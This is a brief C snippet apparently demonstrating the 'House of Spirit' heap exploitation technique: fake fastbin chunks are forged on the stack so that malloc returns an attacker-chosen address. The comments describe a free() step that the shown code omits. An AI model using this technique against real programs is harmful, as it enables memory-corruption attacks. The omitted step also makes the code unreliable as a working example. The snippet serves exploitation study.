char buf[0x20]; // chunk falls in fastbin size range
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
// fake_chunks[0] at 0x7ffe220c5ca0
// fake_chunks[1] at 0x7ffe220c5ce0
ptr = malloc(0x30); // First malloc
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk); // 0x40
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk); // 0x40
// Attacker overwrites a pointer that is about to be 'freed'
ptr = (void *)&fake_chunks[0].fd;
// fake_chunks[0] gets inserted into fastbin
victim = malloc(0x30); // 0x7ffe220c5cb0 address returned from malloc